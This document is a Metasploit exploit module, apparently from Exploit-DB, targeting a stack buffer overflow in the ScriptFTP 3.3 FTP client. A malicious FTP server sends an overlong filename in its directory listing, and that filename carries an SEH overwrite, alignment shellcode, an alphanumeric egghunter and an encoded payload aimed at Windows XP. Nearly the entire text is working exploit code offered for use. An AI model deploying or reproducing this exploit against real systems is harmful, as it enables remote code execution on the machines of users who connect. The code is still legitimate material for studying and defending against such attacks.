ScriptFTP 3.3 – Remote Buffer Overflow (Metasploit)
#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF) #Date: Sept 20 2011 #Author: otoy #Version: 3.3 #Tested on: Windows XP SP3 #CVE : - #EDB-ID: 17876 #Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'ScriptFTP 3.3 Remote Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is triggered when the client connects to a FTP server which sends an overly long directory and filename in response to a GETLIST command. This will cause an access violation, and will eventually overwrite the saved extended instruction pointer. }, 'Author' => [ 'modpr0be', # Original bug 'Cyberheb', # porting from poc to msf 'Otoy', # final msf module ], 'License' => MSF_LICENSE, 'Version' => "0", 'References' => [ [ 'OSVDB', '75633'], [ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e", 'EncoderOptions' => { 'BufferRegister' => 'EDX', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sept 20 2011', 'DefaultTarget' => 0)) end def setup super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end #Unicode Encoder def get_unicode_payload(p) encoder = framework.encoders.create("x86/unicode_upper") encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} ) unicode_payload = encoder.encode(p, nil, nil, platform) return unicode_payload end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") sampahawal = "A" * 1746 nseh = "\x61\x62" seh = target['Ret'] sampahbawah = 1250 #prepare for align align = "\x60" #pushad align << "\x73" #nop/align align << "\x53" #push ebx align << "\x73" #nop/align align << "\x58" #pop eax align << "\x73" #nop/align align << "\x05\x02\x11" #add eax,0x11000200 align << "\x73" #nop/align align << "\x2d\x01\x11" #sub eax,0x11000120 align << "\x73" #nop/align #align after egg align2 = "\x73\x57\x73\x58\x73" #nop/push edi/nop/pop eax/nop align2 << "\xb9\x1b\xaa" #mov ecx,0xaa001b00 align2 << "\xe8\x73" #add al,ch + nop align2 << "\x50\x73\xc3" #push eax,nop,ret #walking walk = "\x50" #push eax walk << "\x73" #nop/align walk << "\xc3" #ret #egghunter egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA" egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5" egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB" egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1" egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O" egghunter << "SEYWKOYWA" #junk sampah1 = "\x44" * 106 + "\x73" sampah2 = "\x42" * 544 #egg telur = "0t0t" #payload stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" palpha = stubget + payload.encoded puni = get_unicode_payload(palpha) #filename filename = sampahawal filename << nseh filename << seh filename << align filename << walk filename << sampah1 filename << egghunter filename << sampah2 filename << telur filename << align2 filename << puni filename << sampah1 print_status(" - Sending directory list via data connection") dirlist = "-rwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}.txt\r\n" dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}\r\n" dirlist << "-rwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}.txt\r\n" conn.put(dirlist) conn.close return end end |